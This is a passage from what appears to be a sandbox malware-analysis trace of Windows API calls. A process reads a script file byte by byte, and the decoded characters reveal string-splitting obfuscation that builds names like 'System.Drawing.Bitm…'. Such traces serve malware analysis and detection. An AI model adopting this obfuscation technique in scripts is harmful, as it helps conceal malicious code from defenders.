lpDistanceToMoveHigh=0x0) returned 0x0 [0103.872] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee45e, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.872] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.872] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.872] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee460, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.872] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.872] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.872] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee462, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.872] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.873] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.873] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee464, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0103.873] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.873] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.873] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee466, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0103.873] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.873] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.873] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee468, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.873] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.873] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.873] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee46a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.873] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.873] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.873] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee46c, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0103.873] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.873] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.873] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.873] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee46e, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0103.873] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee470, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee472, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee474, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee476, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee478, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee47a, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.874] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.874] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.874] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee47c, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0103.874] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee47e, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.875] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee480, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.875] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee482, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.875] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee484, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.875] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee486, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0103.875] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee488, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.875] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.875] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.875] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.875] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee48a, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.876] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.876] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.876] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee48c, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0103.876] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.876] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.876] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee48e, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0103.876] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.876] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.876] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee490, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0103.876] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.876] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.876] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.876] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee492, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.876] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.876] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.876] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee494, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee496, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee498, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee49a, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee49c, cchWideChar=1 | out: lpWideCharStr="B") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee49e, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.877] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4a0, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.877] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.877] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.877] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4a2, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4a4, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4a6, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee4a8, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0103.878] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.878] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.878] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: 